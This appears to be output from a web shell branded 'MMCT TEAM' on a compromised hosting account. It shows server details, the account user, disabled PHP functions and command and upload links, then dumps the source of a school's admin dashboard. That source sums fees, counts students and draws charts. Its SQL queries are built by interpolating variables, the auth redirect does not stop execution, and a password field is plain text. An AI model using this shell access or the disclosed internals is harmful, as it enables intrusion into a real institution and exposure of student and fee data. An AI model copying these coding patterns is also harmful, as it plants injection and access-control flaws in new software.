MMCT TEAM
Server IP : 2a02:4780:11:1359:0:1d43:a566:2  /  Your IP : 216.73.216.199
Web Server : LiteSpeed
System : Linux in-mum-web1259.main-hosting.eu 4.18.0-553.37.1.lve.el8.x86_64 #1 SMP Mon Feb 10 22:45:17 UTC 2025 x86_64
User : u490972518 ( 490972518)
PHP Version : 5.6.40
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF
Directory (0755) :  /home/u490972518/domains/ppschool.org.in/public_html/gsmps/admin/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/u490972518/domains/ppschool.org.in/public_html/gsmps/admin/dashboard.php

<html>
			<head>
				<?php include("../link/admin_headconnection.php");
			session_start();
			$lg=$_SESSION['admin'];
			if(!$lg)
			{
				header("location:../admin/index.php");
			}
				include("../link/databaseconnection.php");
				?>
				<link href="../css/dashboard.css" rel="stylesheet" type="text/css"/>
				<link href="../css/dashboardmenu.css" rel="stylesheet" type="text/css"/>
					<style>

					
					</style>
			
			</head>
			
			<?php
				$sel785="select * from admin_login where  email='$lg'  and status=''";
$res785=mysqli_query($conn,$sel785);
$row785=mysqli_fetch_array($res785,MYSQLI_BOTH);

$user_login=$row785['area'];
			$dt=date("Y-m-d");
			
$d_name='';
$p_date='';
for ($x = 0; $x <= 7; $x++) {
  
$no_days = $x;
$bdate = strtotime("-".$no_days." days", strtotime($dt));

 $d=date("Y-m-d", $bdate);
$d_name='"'.$d.'"'.",".$d_name;
$rest=substr($d_name,0,-1);

////
if($user_login=='Admin')
{
	$sel="select * from  studentfees where status='' and date='$d' ";
}
else
{
	$sel="select * from  studentfees where status='' and date='$d'  and email='$lg'";
}
	$res=mysqli_query($conn,$sel);
	$p=0;
	while($row=mysqli_fetch_array($res,MYSQLI_BOTH))
		
	{
		$p=$row['paid']+$p;
		
		
	}
	$p_date= $p.",".$p_date;
	$p1=substr($p_date,0,-1);
}
$c='['.$rest.']';
$p='['.$p1.']';
//echo $c;
			
			?>
			
<body>
<div class="container">
	<div class='row'>
		<marquee behavior="alternate" style='font-weight:bold' > Welcome User Email id = <?php echo $lg;?></marquee>
	<div class='col-sm-3' id='box' style='background-Color:green;height:100px;border:5px solid black'>
		<?php
		$sel2="select * from  session order by id desc";
	$res2=mysqli_query($conn,$sel2);
	$row2=mysqli_fetch_array($res2,MYSQLI_BOTH);
	 $session=$row2['session'];
				 if($user_login=='Admin')
{
    $d1="2025-04-01";
     $d2="2026-03-31";
	$sel1="select * from  studentfees where  status='' and date between '$d1' and '$d2' ";
}
else
{
	$sel1="select * from  studentfees where  status='' and date between '$d1' and '$d2' and email='$lg' ";
}
		$res1=mysqli_query($conn,$sel1);
		$paid=0;
		while($row1=mysqli_fetch_array($res1,MYSQLI_BOTH))
		
		{
			 
			$paid=$row1['paid']+$paid;
		}
		
			 $paid;
			 
			  if($user_login=='Admin')
			  {
			?>
			<center>
			<h4 style='color:white;font-weight:bold'>Total Fees Paid (<?php echo $session;?>)</h4>
			<h4 style='color:white;font-weight:bold'><?php echo $paid?> Rs.</h4><br/><p><?php echo $d1 ?>  To <?php echo $d2 ?></p>
			</center>
			<?php }?>
		</div>
			<div class='col-sm-3' id='box' style='background-Color:green;height:100px;border:5px solid black'>
		<?php
		 $sel24="select * from  session order by id desc limit 1,1";
	$res24=mysqli_query($conn,$sel24);
	$row24=mysqli_fetch_array($res24,MYSQLI_BOTH);
	 $session_old=$row24['session'];
				 if($user_login=='Admin')
{
    $d1="2024-04-01";
     $d2="2025-03-31";
	$sel1="select * from  studentfees where  status='' and date between '$d1' and '$d2'    ";
}
else
{
	$sel1="select * from  studentfees where  status='' and date between '$d1' and '$d2' and email='$lg' ";
}
		$res1=mysqli_query($conn,$sel1);
		$paid=0;
		while($row1=mysqli_fetch_array($res1,MYSQLI_BOTH))
		
		{
			 
			$paid=$row1['paid']+$paid;
		}
		
			 $paid;
			 
			  if($user_login=='Admin')
			  {
			?>
			<center>
			<h4 style='color:white;font-weight:bold'>Total Fees Paid (<?php echo $session_old;?>)</h4>
			<h4 style='color:white;font-weight:bold'><?php echo $paid?> Rs.</h4></br/><p><p><?php echo $d1 ?>  To <?php echo $d2 ?></p>
			</center>
			<?php }?>
		</div>

		<div class='col-sm-3' id='box' style='background-Color:yellow;height:100px;border:5px solid red'>
		<?php
		$sel2="select * from  session order by id desc";
	$res2=mysqli_query($conn,$sel2);
	$row2=mysqli_fetch_array($res2,MYSQLI_BOTH);
	  $session=$row2['session'];
	 $date=date('Y-m-d');
	 	 if($user_login=='Admin')
{
	$sel1="select * from  studentfees where status=''  and date='$date' ";
}
else
{
	$sel1="select * from  studentfees where status=''  and date='$date' and email='$lg' ";
}
		
		$res1=mysqli_query($conn,$sel1);
		$paid1=0;
		while($row1=mysqli_fetch_array($res1,MYSQLI_BOTH))
		
		{
			 
			$paid1=$row1['paid']+$paid1;
		}
		
			 
			?>
			<center>
			<h4 style='color:black;font-weight:bold'>Today Fees (<?php echo $date;?>)</h4>
			<h4 style='color:black;font-weight:bold'><?php echo $paid1?> Rs.</h4>
			</center>
		</div>
	
	<a href='export_new.php'><div class='col-sm-3' id='box' style='background-Color:black;height:100px;border:5px solid red'>
		<?php
		$sel2="select * from  session order by id desc";
	$res2=mysqli_query($conn,$sel2);
	$row2=mysqli_fetch_array($res2,MYSQLI_BOTH);
	
	$sel21="select * from  session order by id desc limit 1,1";
	$res21=mysqli_query($conn,$sel21);
	$row21=mysqli_fetch_array($res21,MYSQLI_BOTH);
	
	 $session=$row2['session'];
	  $session_old=$row21['session'];
	// $session_old='2022-2023';
	 $date=date('Y-m-d');
			$sel1="select * from  registration where session='$session'   ";
		$res1=mysqli_query($conn,$sel1);
		$s=0;
		$old=0;
			$new=0;
		while($row1=mysqli_fetch_array($res1,MYSQLI_BOTH))
		
		{
			 
			$s++;
			$app=$row1['application'];
			
			$sel11="select * from  registration where session='$session_old' and application='$app'  ";
		$res11=mysqli_query($conn,$sel11);
		$row11=mysqli_fetch_array($res11,MYSQLI_BOTH);
		if($row11)
		{
		    $old++;
		}
		else
		{
		    $new++;
		}
		
		}
		
			 
			?>
			<center>
			<h6 style='color:white;font-weight:bold'>Total Student (<?php echo $session;?>) : <?php echo $s;?></h6>
			<h6 style='color:white;font-weight:bold'> New Student : <?php echo $new;?> </h6>
			<h6 style='color:white;font-weight:bold'>Old Student : <?php echo $old;?> </h6>
			</center>
		</div></a>
		<div class='col-sm-3' id='box' style='background-Color:black;height:100px;border:5px solid red'>
		<?php
		$sel2="select * from  session order by id desc";
	$res2=mysqli_query($conn,$sel2);
	$row2=mysqli_fetch_array($res2,MYSQLI_BOTH);
	 $session=$row2['session'];
	 $date=date('Y-m-d');
	 
	 $sel24="select * from  session order by id desc limit 1,1";
	$res24=mysqli_query($conn,$sel24);
	$row24=mysqli_fetch_array($res24,MYSQLI_BOTH);
	 $session_o=$row24['session'];
	 
	 
			$sel1="select * from  registration where session='$session_o'   ";
		$res1=mysqli_query($conn,$sel1);
		$s1=0;
		while($row1=mysqli_fetch_array($res1,MYSQLI_BOTH))
		
		{
			 
			$s1++;
		}
		
			 
			?>
			<center>
			<h4 style='color:white;font-weight:bold'>Total Student (<?php echo $session_o;?>)</h4>
			<h4 style='color:white;font-weight:bold'><?php echo $s1?> </h4>
			</center>
		</div>
	
	</div>
	<div class='row'>
	
	<div class='col-sm-6'>
				<div class="col-sm-6 ">
				<center><a href="student_details.php" class="hvr hvr-Grow-Shadow"><img src="../images/student.jpg" alt="..." class="img-circle" height="150px" /><h4 >&emsp;All Student Details</h4></a></center>
					</div>
					
					<div class="col-sm-6">
					<center><a href="gallery.php" class="hvr hvr-Grow-Shadow"><img src="../images/gallery.jpg" alt="..." class="img-circle" height="150px">
					<h4 >&emsp;Gallery</h4></a></center>
					</div>
					<?php
					 if($user_login=='Admin')
					 {
					
					?>
					<div class="col-sm-6">
					<center><a href="#updatefees.php" class="hvr hvr-Grow-Shadow"><img src="../images/rupees_person.png" alt="..." class="img-circle" height="150px" data-toggle="modal" data-target=".forget-modal">
					<h4 style="color:">&emsp;Update Amount</h4></a></center>
					
					</div>
					<?php }?>
					<div class="col-sm-6">
					<center><a href="staffzone.php" class="hvr hvr-Grow-Shadow"><img src="../images/staff.jpg" alt="..." class="img-circle" height="150px" /><h4 style="color:">&emsp;All Staff/Administration</h4></a></center>
					</div>
				
					<div class="col-sm-6">
					<center><a href="news.php" class="hvr hvr-Grow-Shadow"><img src="../images/news1.jpg" alt="..." class="img-circle" height="150px">
					<h4 style="color:">&emsp;News</h4></a></center>
					</div>
					
					<div class="col-sm-6">
					<center><a href="resultfourth.php" class="hvr hvr-Grow-Shadow"><img src="../images/other.jpg" alt="..." class="img-circle" height="150px">
					<h4 style="color:">&emsp;Result</h4></a></center>
					
					</div>
					<div class="col-sm-6">
					<center><a href="staffzone.php" class="hvr hvr-Grow-Shadow"><img src="../images/message.png" alt="..." class="img-circle" height="150px" /><h4 style="color:">&emsp;Message</h4></a></center>
					<h3 style="position:relative;margin-top:-170px;margin-left:120px; font-weight:bold"></h3>
					
					</div>
				
					<div class="col-sm-6">
					<center><a href="printpgresult.php" class="hvr hvr-Grow-Shadow"><img src="../images/Iconshock-Real-Vista-Data-Run.ico" alt="..." class="img-circle" height="150px" /><h4 style="color:">&emsp;Print Result</h4></a></center>
					
					</div>
					<div class="col-sm-6">
					<center><a href="fees.php" class="hvr hvr-Grow-Shadow"><img src="../images/store1.png" alt="..." class="img-circle" height="150px" /><h4 style="color:">&emsp;Fees</h4></a></center>
					
					
					</div>
				
						<div class="col-sm-6">
					<center><a href="free.php" class="hvr hvr-Grow-Shadow"><img src="../images/store1.png" alt="..." class="img-circle" height="150px" /><h4 style="color:">&emsp;Fixed Concession </h4></a></center>
					
					
					</div>
						<div class="col-sm-6 ">
				<center><a href="student_details_tc.php" class="hvr hvr-Grow-Shadow"><img src="../images/student.jpg" alt="..." class="img-circle" height="150px" /><h4 >&emsp;TC</h4></a></center>
					</div>
					<div class="col-sm-6">
					<center><a href="../code/admin_logoutcode.php" class="hvr hvr-Grow-Shadow"><img src="../images/power.jpg" alt="..." class="img-circle" height="150px">
					<h4 style="color:">&emsp;Logout</h4></a></center>
					
					</div>
		</div>
		<div class='col-sm-6'>
			
<canvas id="myChart" style="width:100%;max-width:600px"></canvas>
<script src="https://cdnjs.cloudflare.com/ajax/libs/Chart.js/2.5.0/Chart.min.js"></script>
<script>
var xValues = <?php echo $c; ?>;
var yValues = <?php echo $p; ?>;
var barColors = ["red", "green","blue","orange","brown","black","yellow","brown"];

new Chart("myChart", {
  type: "bar",
  data: {
    labels: xValues,
    datasets: [{
      backgroundColor: barColors,
      data: yValues
    }]
  },
  options: {
    legend: {display: false},
    title: {
      display: true,
      text: "Latest 7 Days Fees"
    }
  }
});
</script>

		<br/>
		<br/>
		<?php
			
			$sel="select * from  subclass";
	$res=mysqli_query($conn,$sel);
	$sum=0;
	$dataPoints = array();
	while($row=mysqli_fetch_array($res,MYSQLI_BOTH))
		
	{
		$class=$row['subclass'];
		$sel1="select * from  registration where subject='$class' and session='$session' ";
		$res1=mysqli_query($conn,$sel1);
		$class1='';
		$count='';
		while($row1=mysqli_fetch_array($res1,MYSQLI_BOTH))
		
		{
			 $count++;
			$class1=$row1['subject'];
		}
		$a=array("label"=>$class1, "y"=>$count);
		//$a=array("y" => $count, "label" => $class1);
			array_push($dataPoints,$a);
	
	}
			
			?>
		<script>
window.onload = function() {
 
 
var chart = new CanvasJS.Chart("chartContainer2", {
	animationEnabled: true,
	title: {
		text: "Student Details"
	},
	subtitles: [{
		text: ""
	}],
	data: [{
		type: "pie",
		yValueFormatString: "#,##0\"\"",
		indexLabel: "{label} ({y})",
		dataPoints: <?php echo json_encode($dataPoints, JSON_NUMERIC_CHECK); ?>
	}]
});
chart.render();
 
}
</script>


<div id="chartContainer2" style="height: 370px; width: 100%;"></div>
<script src="https://canvasjs.com/assets/script/canvasjs.min.js"></script>
<br/>
<br/>
<div class='row'><h4 style='text-align:center'>Class Wise Fees Chart</h4></div>
		
<canvas id="myChart1" style="width:100%;max-width:600px"></canvas>
<script src="https://cdnjs.cloudflare.com/ajax/libs/Chart.js/2.5.0/Chart.min.js"></script>
<?php
			
			
			$sel="select * from  subclass";
	$res=mysqli_query($conn,$sel);
	$sum=0;
	$d_class='';
	$p_paid='';
	while($row=mysqli_fetch_array($res,MYSQLI_BOTH))
		
	{
		 $class=$row['subclass'];
		
		$sel1="select * from  studentfees where id>=2419 and status=''  and class='$class'";
		$res1=mysqli_query($conn,$sel1);
		$paid=0;
		while($row1=mysqli_fetch_array($res1,MYSQLI_BOTH))
		
		{
			 
			$paid=$row1['paid']+$paid;
		}
		
	$d_class='"'.$class.'"'.",".$d_class;


$p_paid= $paid.",".$p_paid;
	$p_paid=substr($p_paid,0,-1);
	}
	$d_class=substr($d_class,0,-1);
	  $c1='['.$d_class.']';
$p1='['.$p_paid.']';		
			?>
<script>
var xValues = <?php echo $c1; ?>;
var yValues = <?php echo $p1; ?>;
var barColors = ["red", "green","blue","orange","brown","black","yellow","brown","red", "green","blue","orange","brown","red","orange"];

new Chart("myChart1", {
  type: "bar",
  data: {
    labels: xValues,
    datasets: [{
      backgroundColor: barColors,
      data: yValues
    }]
  },
  options: {
    legend: {display: false},
    title: {
      display: true,
      text: "Class Wise Fees"
    }
  }
});
</script>

		</div>
		<div class='row'><h4 style='text-align:center'>Class Wise Dues Fees </h4></div>
<div class="container" style='width:70%'>
 	<script>
$(document).ready(function(){
    $('#example').DataTable({
        dom: 'Bfrtip',
        buttons: ['copy',  'excel', 'print']
    });
	
});
</script>
	<div class="table-responsive">
<table id="example" class="display nowrap" cellspacing="0" width="100%" border="1px">
        <thead>
            <tr align="center">
                <th  style="text-align:center">Sr</th><th  style="text-align:center">Class</th><th  style="text-align:center">Dues</th>
            </tr>
        </thead>

<tbody>		
            <?php
             $month=date('m');
            	 if($month==4)
	 {
	     $a='1';
	     $v1='';
	 }
	 if($month==5)
	 {
	     $a=2;
	      $v1='';
	 }
	 if($month==6)
	 {
	     $a=3;
	      $v1='';
	 }
	 if($month==7)
	 {
	     $a=4;
	      $v1='';
	 }
	 if($month==8)
	 {
	     $a=5;
	      $v1='';
	 }
	 if($month==9)
	 {
	     $a=6;
	      $v1='';
	 }
	 if($month==10)
	 {
	     $a=7;
	      $v1='';
	 }
	 if($month==11)
	 {
	     $a=8;
	      $v1='';
	 }
	 if($month==12)
	 {
	     $a=9;
	      $v1='';
	 }
	 if($month==1)
	 {
	     $a=10;
	      $v1='';
	 }
	 if($month==2)
	 {
	     $a=11;
	 }
	 if($month==3)
	 {
	     $a=12;
	      $v1='';
	 }
	  $cal=$a;
  $s=1;
  $toamount=0;
  $total_pay1=0;
  $remain_total12=0;
 $session='2023-2024';
	$class=$_POST['class'];
	 $month=$_POST['month'];
	 $section=$_POST['section'];
	 $area=$_POST['area'];
	 $session_old='2022-2023';
	 $sel12="select * from subclass ";
	 $res12=mysqli_query($conn,$sel12);
	 
 $class='PLAY GROUP';
 
	 
	     $sel1="select * from registration where session='$session' and subject='PLAY GROUP'   order by id asc ";
	
  
	$res1=mysqli_query($conn,$sel1);
	 
  $s=1;
  $toamount=0;
  $re_fee1=0;
  $re_van1=0;
  $re_dues=0;
  $re_remain=0;
  $re_exam=0;
  $remain_total1=0;
  $van_fee1=0;
  $remain1=0;
  $tpaid1=0;
  $comp_fee_c1=0;
  $free1=0;
   $total1=0;
  while($row=mysqli_fetch_array($res1,MYSQLI_BOTH))
  {
  $app=$row['application'];
  $application=$row['application'];
  $code=$row['code'];
  
  $subject=$row['subject'];
  $class=$row['subject'];
 
  ////////////for month show///////////
  	  //echo $conc;
  
//  echo $max;
  ////max for month/////////
  
  
  
  ////////for month cal close/////
  
 
$sel="select * from studentfees where year='$session'  and search='$app' and status='' order by id asc ";
	$res=mysqli_query($conn,$sel);
	/////for fees paid 
	$am=0;

	$co=0;
	$van1=0;
	$mon='';
	$t_exam=0;
	$paid=0;
	while($row1=mysqli_fetch_array($res,MYSQLI_BOTH))
	{
		$paid=$row1['paid'];
		$con=$row1['con'];
		$am=$am+$paid;
		$co=$co+$con;
		$van1=$van1+$row1['van'];
		$m=$row1['month'];
		$mon=$mon.','.$m;
		$exam1=$row1['exam'];
		$t_exam=$exam1+$t_exam;
	}
	/////for fees paid 
	$totalpay=$totalpay+$am;
	////for class fees 
	$sel2="select * from fees where session='$session' and class='$class'  ";
	$res2=mysqli_query($conn,$sel2);
	/////for fees paid 
	$row2=mysqli_fetch_array($res2,MYSQLI_BOTH);
	$comp_fee=$row2['comp'];
	$fees=$row2['fees'];
	
		$sel23="select * from free where session='$session' and  sch='$app'  ";
	$res23=mysqli_query($conn,$sel23);
	/////for fees paid 
	$row23=mysqli_fetch_array($res23,MYSQLI_BOTH);
	$fix=$row23['fix'];
	$fee_free=$row23['fee'];
	$conv_free=$row23['conv'];
	
	if($fix>0)
	{
	    $f_fix=$fix;
	}
	else
	{
	    $f_fix=0;
	}
		if($fee_free=='YES')
	{
	    $fee_free=$fees;
	}
	else
	{
	    $fee_free=0;;
	}
			if($conv_free=='YES')
	{
	    $conv_free=$code;
	}
	else
	{
	    $conv_free=0;;
	}
if($session=='2020-2021')
{
    $cal=12;
}
else
{
	  $cal=$month;
	
}




	////////////

	
	/////////

	
	
	////////

	$fees=$row2['fees'];
	/////
	///
	$application=$app;
 //echo $conc;
 $apr='';
 $c='';
 $a1='';

	  	  $selca="select * from  studentfees where  month like '%April%' and year='$session' and search='$application' and status='' order by id asc ";
	$resca=mysqli_query($conn,$selca);
	if($rowca=mysqli_fetch_array($resca,MYSQLI_BOTH))
	{
		$apr=1;
		$c++;
		$a1='APR';
	}
	//////may//
	$may='';
	$a2='';
	$selcm="select * from  studentfees where  month like '%May%' and year='$session' and search='$application' and status='' order by id asc ";
	$rescm=mysqli_query($conn,$selcm);
	if($rowcm=mysqli_fetch_array($rescm,MYSQLI_BOTH))
	{
		//echo "SHOW2";
			$may=2;
				$c++;
				$a2='MAY';
	}
	//////Jun
	$jun='';
	$a3='';
	$selcj="select * from  studentfees where  month like '%Jun%' and year='$session' and search='$application' and status='' order by id asc ";
	$rescj=mysqli_query($conn,$selcj);
	if($rowcj=mysqli_fetch_array($rescj,MYSQLI_BOTH))
	{
		//echo "SHOW3";
			$jun=3;
				$c++;
				$a3='JUN';
	}
	//////july
	$jul='';
	$a4='';
	$selcmj="select * from  studentfees where  month like '%July%' and year='$session' and search='$application' and status='' order by id asc ";
	$rescmj=mysqli_query($conn,$selcmj);
	if($rowcmj=mysqli_fetch_array($rescmj,MYSQLI_BOTH))
	{
		//echo "SHOW4";
		$jul=4;
			$c++;
				$a4='JUL';
	}
	//////August
	$aug='';
	$a5='';
	$selcmja="select * from  studentfees where  month like '%August%' and year='$session' and search='$application' and status='' order by id asc ";
	$rescmja=mysqli_query($conn,$selcmja);
	if($rowcmja=mysqli_fetch_array($rescmja,MYSQLI_BOTH))
	{
		//echo "SHOW5";
		$aug=5;
			$c++;
				$a5='AUG';
	}
	//////sep
	$sep='';
	$a6='';
	$selcms="select * from  studentfees where  month like '%September%' and year='$session' and search='$application' and status='' order by id asc ";
	$rescms=mysqli_query($conn,$selcms);
	if($rowcms=mysqli_fetch_array($rescms,MYSQLI_BOTH))
	{
		//echo "SHOW6";
		$sep=6;
			$c++;
				$a6='SEP';
	}
	//////oct
	$oct='';
	$a7='';
	$selcmjo="select * from  studentfees where  month like '%October%' and year='$session' and search='$application' and status='' order by id asc ";
	$rescmjo=mysqli_query($conn,$selcmjo);
	if($rowcmjo=mysqli_fetch_array($rescmjo,MYSQLI_BOTH))
	{
		//echo "SHOW7";
		$oct=7;
			$c++;
				$a7='OCT';
	}
	//////Nov
	$nov='';
	$a8='';
	$selcmjn="select * from  studentfees where  month like '%November%' and year='$session' and search='$application' and status='' order by id asc ";
	$rescmjn=mysqli_query($conn,$selcmjn);
	if($rowcmjn=mysqli_fetch_array($rescmjn,MYSQLI_BOTH))
	{
		//echo "SHOW7";
		$nov=8;
			$c++;
				$a8='NOV';
	}
	//////Dec
	$dec='';
	$a9='';
	$selcmjd="select * from  studentfees where  month like '%December%' and year='$session' and search='$application'  and status=''order by id asc ";
	$rescmjd=mysqli_query($conn,$selcmjd);
	if($rowcmjd=mysqli_fetch_array($rescmjd,MYSQLI_BOTH))
	{
		//echo "SHOW7";
		$dec=9;
			$c++;
				$a9='DEC';
	}
	//////Jan
	$jan='';
	$a10='';
	$selcmjdj="select * from  studentfees where  month like '%January%' and year='$session' and search='$application' and status='' order by id asc ";
	$rescmjdj=mysqli_query($conn,$selcmjdj);
	if($rowcmjdj=mysqli_fetch_array($rescmjdj,MYSQLI_BOTH))
	{
		//echo "SHOW7";
		$jan=10;
			$c++;
				$a10='JAN';
	}
	//////Jan
	$feb='';
	$a11='';
	$selcmf="select * from  studentfees where  month like '%February%' and year='$session' and search='$application'  and status=''order by id asc ";
	$rescmf=mysqli_query($conn,$selcmf);
	if($rowcmf=mysqli_fetch_array($rescmf,MYSQLI_BOTH))
	{
		//echo "SHOW7";
		$feb=11;
			$c++;
				$a11='FEB';
	}
	//////mar
	$mar='';
	$a12='';
	$selcmm="select * from  studentfees where  month like '%March%' and year='$session' and search='$application' and status='' order by id asc ";
	$rescmm=mysqli_query($conn,$selcmm);
	if($rowcmm=mysqli_fetch_array($rescmm,MYSQLI_BOTH))
	{
		//echo "SHOW7";
		$mar=12;
			$a12='MAR';
			$c++;
			$ex1=0;
	}
	$g=max(0,$apr,$may,$jun,$jul,$aug,$sep,$oct,$nov,$dec,$jan,$feb,$mar);
	  $new_g=$cal-$g;
	  $t=$fees*$new_g;
	  
	  
	  $re_fee=$fees*$new_g;
	  $re_fee1=$re_fee+$re_fee1;
	  
	  if($class=='NURSERY' or $class=='LKG' or $class=='FIRST' or $class=='SECOND' )
        		{
        		    if($cal>=7 and $cal<=11 )
        		    {
        		        $exam=200;
        		    }
        		    if($cal>=12  )
        		    {
        		        $exam=400;
        		    }
        		    
        		}
        		if($class=='THIRD' or $class=='FOURTH' or $class=='FIFTH' or $class=='SIXTH' or $class=='SEVENTH' or $class=='EIGHTH' )
        		{
        		    if($a>=7 and $a<=11 )
        		    {
        		        $exam=250;
        		    }
        		    if($a>=12  )
        		    {
        		        $exam=500;
        		    }
        		    
        		}
        		$exam_new=$exam-$t_exam;
	  $sel4="select * from studentfees where year='$session'  and search='$app' and status='' order by id desc ";
	$res4=mysqli_query($conn,$sel4);
	$row4=mysqli_fetch_array($res4,MYSQLI_BOTH);
	$remain=$row4['remain'];
	  $van_fee=$code*$new_g;
	  $comp_fee_c=$comp_fee*$new_g;
	  $f_fix2=$f_fix*$new_g;
	  $fee_free1=$fee_free*$new_g;
	  $conv_free1=$conv_free*$new_g;
	  $van_fee1=$van_fee1+$van_fee;
	  $comp_fee_c1=$comp_fee_c1+$comp_fee_c;
	  $re_fee_van=$re_fee+0+$remain+$exam_new;

	  $remain1=$remain+$remain1;
	  $tpaid1=$tpaid1+$tpaid;
	  $free=$f_fix+$fee_free1+$conv_free1;
	  $free1=$free1+$free;
	
	  	 
	 $mon=$a1.','.$a2.','.$a3.','.$a4.','.$a5.','.$a6.','.$a7.','.$a8.','.$a9.','.$a10.','.$a11.','.$a12;
	 
	 if($re_fee_van>0)
	 {
	     $re_fee_van=$re_fee_van;
	 }
	 else
	 {
	     $re_fee_van=0;
	 }
	  
//////////
	///////////
	$total1=$re_fee_van+$total1;
}

		?>
		 
	<tr class="text-center">
<td><?php echo $s ;?> </td><td><?php echo $class;?></td><td><?php echo $total1;?></td>
	
	
	</tr>
	<?php
	$s++;
$remain_total12=$total1+$remain_total12;

	?>

<tfoot>
     <tr align="center">
                <th  style="text-align:center">Sr</th><th  style="text-align:center">Class</th><th  style="text-align:center"><?php echo $remain_total12;?></th>
            </tr>
            
           
        </tfoot>
	 </tbody>
    </table>
	<?php
	
	?>
	
  
</div>
 
 




		
		</div>

		</div>
		</div>
			
		
<div class="modal fade forget-modal" tabindex="-1" role="dialog" aria-labelledby="myForgetModalLabel" aria-hidden="true" id="modal1">
<form  id="go" action="go.php" method="post"  >
	<div class="modal-dialog modal-sm">
		<div class="modal-content">
			<div class="modal-header">
			
				<button type="button" class="close" data-dismiss="modal">
					<span aria-hidden="true">×</span>
					<span class="sr-only">Close</span>
				</button>
				<h4 class="modal-title" style="color:green"> Fill Form</h4>
			</div>
			<div class="modal-body">
				
				<input type="text"   class="form-control" required name="mobile" placeholder="User Name"><br/>
				<input type="text"   class="form-control" required name="password" placeholder="Password"><br/>
				
				
			</div>
			<div class="modal-footer">
				<button type="button" class="btn btn-default" data-dismiss="modal">Cancel</button>
				<button id="re" class="btn btn-custom">Login</button>
			</div>
		</div> <!-- /.modal-content -->
	</div> <!-- /.modal-dialog -->
	</form>
</div> <!-- /.modal -->
</body>
</html>



MMCT - 2023